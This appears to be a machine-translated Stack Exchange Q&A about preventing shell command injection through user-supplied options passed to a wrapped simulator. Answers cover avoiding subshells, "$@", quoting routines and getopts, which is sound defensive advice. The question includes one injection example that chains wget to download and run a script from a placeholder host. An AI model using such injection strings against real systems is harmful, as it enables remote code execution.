如何通过命令选项防止命令注入?


13

我有一个包装器应用程序,需要让用户指定自定义选项以传递给模拟器。但是,我想确保用户不会通过用户选项注入其他命令。做到这一点的最佳方法是什么?

例如。

  • 用户提供: -a -b
  • 应用程序执行: mysim --preset_opt -a -b

但是,我不希望这种情况发生:

  • 用户提供: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • 应用程序执行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

当前,我认为我可以将每个用户提供的选项都用单引号引起来,'并去除用户提供的任何单引号,这样最后一个示例中的命令将变成无害的:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

注意:该mysim命令在docker / lxc容器中作为Shell脚本的一部分执行。我正在运行Ubuntu。


您是否正在使用eval该应用程序?如果没有,则不应进行注射:x="&& echo Doomed" ; echo $x
choroba

1
不,我没有使用eval。我在mysimshell脚本中调用可执行文件。如果我只是复制用户提供的选项字符串并将其粘贴到mysim命令末尾,就会看到注入发生。
维克多·柳博斯拉夫斯基

包装器应用程序是否复制并粘贴选项字符串?
choroba 2013年

是的,用户选项以单个字符串形式出现,例如-a -b。因此,我希望确保不会在该字符串中注入其他命令。
维克托·柳博斯拉夫斯基

1
你可以白名单吗?只允许角色[a-zA-Z0-9 _-]看起来是一个不错的防御选择。
Ulrich Schwarz

Answers:


6

如果您可以控制包装程序,请确保该程序不调用子外壳程序。深入地讲,执行程序指令由可执行文件的完整路径(相对于当前目录的绝对路径或相对路径)以及要作为参数传递的字符串列表组成。Shell提供了PATH查找,空格分隔参数,引号和控制运算符。没有外壳,没有痛苦。

例如,对于Perl包装器,使用exec或的列表形式system。在许多语言中,调用execexecXXX函数之一(或unix.exec称为它的任何东西),而不是system,使用或os.spawn使用shell=False它或它所需要的任何东西。

如果包装器是一个shell脚本,则使用"$@"传递参数,例如

#!/bin/sh
mysim -preset-opt "$@"

如果您别无选择,并且包装程序调用了外壳程序,则需要在将参数传递给外壳程序之前引用这些参数。引用参数的简单方法是执行以下操作:

  1. 在每个参数中,将每个出现的'(单引号)替换为四个字符的字符串'\''。(例如don't成为don'\''t
  2. '在每个参数的开头和每个参数的末尾添加。(例如,从don'tdon'\''t变得'don'\''t'
  3. 将结果之间用空格连接。

如果您需要在外壳包装中执行此操作,请使用以下方法。

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(不幸的是,bash的${VAR//PATTERN/REPLACEMENT}结构在这里应该很方便,需要古怪的引用,而且我认为您不能获得它'\''作为替换文本。)


1

可以使用bash的${VAR//PATTERN/REPLACEMENT}成语到单引号变换''\''由第1载置'\''到一个变量(作为中间步骤),然后扩大该变量作为REPLACEMENT在所提到的击成语元件。

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

0

您可以getoptsbash其中使用可以为您解析参数,例如:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.